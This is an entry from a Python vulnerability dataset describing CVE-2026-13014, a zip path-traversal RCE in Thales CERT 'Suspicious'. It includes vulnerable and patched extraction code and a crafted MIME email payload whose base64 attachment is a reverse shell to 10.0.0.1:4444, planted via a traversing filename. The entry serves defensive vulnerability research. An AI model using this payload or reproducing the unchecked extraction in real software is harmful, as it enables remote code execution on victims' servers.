CVE-2026-13014
Unauthenticated RCE in Thales CERT 'Suspicious' via file overwrite.
- CVSS 9.2
- CWE-22
- Input Validation and Sanitization
- Remote
A vulnerability in Thales CERT "Suspicious" application =< 1.3.4 allows a remote and unauthenticated attacker to execute arbitrary code and arbitrarily overwrite writable application files—including Python modules, configuration files, cron inputs, and runtime artifacts—leading to a persistent denial of service, the potential compromise of application secrets or integrations, and root-level execution inside the Django application container. This vulnerability has been names "Matryoshka Mail". Thales PSIRT acknowledges and thanks Lucien Doustaly (aka wlayzz) for discovering and reporting this issue.
- CWE
- CWE-22
- CVSS base score
- 9.2
- Published
- 2026-07-13
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Thales CERT
Solution
Upgrade Thales CERT "Suspicious" application to version 1.3.5 or later.
Vulnerable code sample
import zipfile
import os
import io
# Assume this path is writable by the application user
UPLOAD_PATH = "/var/www/suspicious_app/uploads/"
def process_suspicious_attachment(attachment_content):
"""
Processes a file attachment, expecting it to be a zip archive.
It extracts the contents into a designated upload directory for analysis.
This function is vulnerable because it does not validate or sanitize
the file paths of the members within the zip archive.
"""
if not isinstance(attachment_content, bytes):
return
try:
# Create a unique sub-directory for the extraction
extraction_dir = os.path.join(UPLOAD_PATH, os.urandom(8).hex())
os.makedirs(extraction_dir, exist_ok=True)
zip_in_memory = io.BytesIO(attachment_content)
with zipfile.ZipFile(zip_in_memory, 'r') as zip_ref:
# VULNERABLE ACTION: extractall() is called without checking member paths.
# An attacker can create a zip file with a member named
# '../../../home/appuser/.bashrc' or '../app/settings.py'
# to write files outside of the intended 'extraction_dir'.
zip_ref.extractall(extraction_dir)
except (zipfile.BadZipFile, PermissionError):
# Handle exceptions, e.g., by logging the error
passPatched code sample
import zipfile
import os
import io
def secure_extract_email_attachment(archive_content: bytes, destination_dir: str):
"""
Safely extracts a ZIP archive, representing a fix for a "Matryoshka Mail"
style path traversal vulnerability (CVE-2026-13014).
The vulnerability occurs when an application extracts an archive without
validating the file paths of its members. An attacker can craft an archive
with file paths like "../../../app/settings.py" to overwrite critical files.
The fix is to resolve the real path of each member file before extraction
and ensure it is strictly within the intended destination directory.
"""
# Ensure the destination is a real, absolute path for robust comparison.
real_destination = os.path.realpath(destination_dir)
with zipfile.ZipFile(io.BytesIO(archive_content)) as zf:
for member_info in zf.infolist():
# Prevent extraction of directories, which can be part of the attack.
if member_info.is_dir():
continue
target_path = os.path.join(real_destination, member_info.filename)
# Resolve the absolute, canonical path of the file to be extracted.
# This correctly handles ".." path components (e.g., /tmp/../etc/passwd).
real_target_path = os.path.realpath(target_path)
# --- THE VULNERABILITY FIX ---
#
# The vulnerable code would lack this check, allowing a file to be
# written outside the `real_destination` directory.
#
# This check ensures that the resolved path of the file to be
# extracted starts with the path of the destination directory.
if not real_target_path.startswith(real_destination + os.sep):
# Path traversal attempt detected. Log and reject the file.
# For this example, we raise an exception to stop processing.
raise PermissionError(
f"Path traversal attempt blocked for malicious file: {member_info.filename}"
)
# --- END OF FIX ---
# If the check passes, the path is safe. Extract the individual file.
# We extract file-by-file rather than using extractall() to ensure
# each member path is explicitly validated.
zf.extract(member_info, path=real_destination)Payload
MIME-Version: 1.0
Subject: Matryoshka Mail Exploit (CVE-2026-13014)
From: attacker@attacker.com
To: victim@victim.com
Content-Type: multipart/mixed; boundary="boundary-outer"
--boundary-outer
Content-Type: text/plain; charset="us-ascii"
This is a test message.
--boundary-outer
Content-Type: message/rfc822
Content-Disposition: attachment; filename="nested_email.eml"
Content-Type: multipart/mixed; boundary="boundary-inner"
--boundary-inner
Content-Type: text/plain; charset="us-ascii"
Please review the attached artifact.
--boundary-inner
Content-Type: application/x-python
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename*0=..%2f..%2f..%2f..%2f..%2fusr%2fsrc%2fapp%2f
Content-Disposition: attachment; filename*1=management%2fcommands%2fhealth_check.py
aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCgpjbGFzcyBDb21tYW5kKExpc3RJbnRlZ3JhdGlv
bnMpOgogICAgZGVmIGhhbmRsZSgqcGFyYW1zLCAqKm9wdGlvbnMpOgogICAgICAgIHMgPSBzb2Nr
ZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5j
b25uZWN0KCgiMTAuMC4wLjEiLCA0NDQ0KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDAp
CiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8o
KSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQo=
--boundary-inner--
--boundary-outer--
Cite this entry
@misc{vaitp:cve202613014,
title = {{Unauthenticated RCE in Thales CERT 'Suspicious' via file overwrite.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-13014},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-13014/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
